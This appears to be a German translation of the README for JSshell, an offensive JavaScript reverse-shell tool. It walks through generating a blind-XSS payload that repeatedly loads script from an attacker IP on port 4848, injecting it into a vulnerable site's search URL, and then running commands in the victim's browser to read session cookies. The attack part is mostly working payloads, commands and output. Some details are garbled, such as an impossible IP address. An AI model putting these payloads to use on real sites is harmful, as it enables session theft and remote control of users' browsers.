shelld3v/jsshellJSshell - JavaScript Reverse/Remote Shell
JSshell - eine JavaScript Reverse Shell. Dies wird verwendet, um JS-Code remote auszuführen, blindes XSS auszunutzen, ...
Voraussetzungen: Beliebiges Betriebssystem + Python 2 oder Python 3
Aktualisiert in der neuen Version von JShell 3.1:
snippet -> ermöglicht das Schreiben eines JavaScript-Code-Snippets>>> snippet
Use CTRL+D to finish the snippet
function new() {
new = 'New update: Support javascript snippet =)';
confirm(new)
}
new()
>>>
<body> hinzugefügt-g-p-s-w-cjsh.pyjsh.py -gjsh.py -p 1234jsh.py -s 48.586.1.23 -gjsh.py -c "alert(document.cookie)" -w 10Dies ist ein Schritt-für-Schritt-Beispiel zur Verwendung von JSshell.
Zuerst müssen wir einen Reverse-JS-Shell-Payload generieren und das Shell-Timeout festlegen (z.B. 20 Sekunden):
~# whoami
root
~# ls
README.md jsh.py
~# python3 jsh.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Fügen Sie diesen Payload nun auf der Website ein:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Rufen Sie die Seite auf und wir erhalten die Reverse-JS-Shell:
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
Führen wir einige Befehle aus:
$ var test = 'controlled'
$ confirm(test)
$
Und es erscheint ein Alert: controlled
$ prompt(document.cookie)
$
Und der Browser gibt die Benutzer-Cookies aus: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
Jetzt beendet!
Erstellt von shelld3v!